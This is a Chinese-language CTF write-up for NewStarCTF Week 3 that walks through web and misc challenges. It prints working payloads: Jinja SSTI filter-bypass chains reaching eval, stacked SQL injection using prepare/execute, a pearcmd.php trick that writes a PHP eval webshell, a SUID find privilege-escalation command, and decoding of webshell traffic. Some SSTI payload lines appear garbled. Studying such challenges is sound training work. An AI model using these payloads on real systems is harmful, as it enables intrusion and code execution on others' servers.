NewStarCTF 公开赛赛道 WEEK3 WP
WEB
BabySSTI_One
根据题目提示应该是SSTI模板注入,所以我们进行验证一下

1 | 使用?name={{''.class}}发现class被过滤了 |

1 | 所以我们使用?name={{''['cla'+'ss']}}进行绕过,然后使用 |

1 | 使用?name={{'''__cla'+'ss__''__subcl'+'asses__'}}得到所有子 |

1 | 然后我们获取os._wrap_close类,使用 |


1 | 使用?name={{'''__cla'+'ss__''__subcl'+'asses__'117['glob'+'als']}} |

然后找到eval
1 | 使用的是?name={{'''__cla'+'ss__''__subcl'+'asses__'117'__glob'+'als__'['eval']}} |

然后我们使用
1 | ?name={{'''__cla'+'ss__''__subcl'+'asses__'117'__glob'+'als__''eval'}}可以执行命令,在根目录下发现了flag |

发现cat和flag都在黑名单中

这里使用base编码绕过,因为base也在黑名单中,使用\进行转义
使用
1 | ?name={{'''__cla'+'ss__''__subcl'+'asses__'117'__glob'+'als__''eval'}} |

之后看了一下其他师傅的wp,发现自己的思路可能存在一些问题,想的太复杂了……
multiSQL
输入火华,发现回显的是他的成绩

然后测试发现select、insert、union、update、updatexml都被过滤了,然后我们发现可以进行堆叠注入,所以我们使用%E7%81%AB%E5%8D%8E’;show
tables;#得到表名

然后使用%E7%81%AB%E5%8D%8E’;show columns from score;#得到字段名

因为要帮火华师傅修改成绩啊,所以我们要使用update,但是被过滤了,所以我们这样来修改后台数据,使用-1’;set @sql =
CONCAT(‘up’,’date score set listen=200’);prepare stmt from @sql;EXECUTE
stmt;#,最后点击验证成绩得到flag

IncludeTwo
题目给出了源码

但是filter伪协议被过滤了,提示是要getshell
这里是通过pearcmd.php来实现getshell的,使用burp进行抓包,参数改为index.php?+config- create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_REQUEST[8])?>+/tmp/monkey.php

然后我们包含文件monkey.php,使用?file=/tmp/monkey,发现包含成功

然后通过命令执行来得到flag


Maybe You Have To think More
根据提示可以猜想是thinkPHP的反序列化,然后随便访问一个文件得到了thinkPHP的具体版本

先在主页面随便输入一个用户,发现会获取cookie值

通过解码发现是base64编码的值,而且是序列化的值

然后我们在网上找了一篇关于thinkPHP5.1序列化的文章,直接拿到poc
https://www.freebuf.com/vuls/263977.html



flag在环境变量里面

MISC
qsdz’s girlfriend 3
使用xshell连接,然后在用户目录发现了flag,查看发现了提示

在blog文件夹里面发现不要让密码相同的提示

在用户thai的用户目录发现hint,但是打不开,通过查看memo文件可以得到密码进而得到hint


SUID,通过百度搜索发现这个可以提升权限,使用find . -exec /bin/sh -p ; -quit提升权限

使用ls查看girlfriends目录下的文件


然后使用cat查看另外一个文件得到flag

下面是复现的内容:
原文地址:BUUCTF NewStarCTF 公开赛赛道Week3
Writeup
Whats HTTP
所有步骤都做了,但是没看文件里面的内容……
先打开流量包,把HTTP对象都导出

文件按照文件的大小进行排序

打开sssssercet发现是一段base64编码的内容


WebShell!
这题说flag的形式是flag{webshell密码_黑客获取的用户名_机密文件的内容}
Webshell的密码是最容易获取的(这个我也获取到了,哈哈哈哈)

接下来似乎好像就得看经验了,师傅说蚁剑的流量要看最长的那串base64解码就可以,并且一般是该参数两位之后的才是正确的命令的base64编码

这里是看那几个最长的里面,慢慢试出来的,最后得出的命令是whoami以及获取机密文件的命令。

然后这里的响应包都是gzip的形式

这里将其改为hex转储

将gzip格式的数据取出来

将获取的16进制数据放到winhex中,保存为whoami.txt.gz文件


所以得到用户名是www-data,tcp.stream eq 38是获取机密文件的命令,同样的方法

最后flag为flag{n3wst4r_www-data_Y0UAr3G00D}
得出结论:太难了,我不配作misc……
这一周的解题都在这里了,还是比较废物。好好加油吧!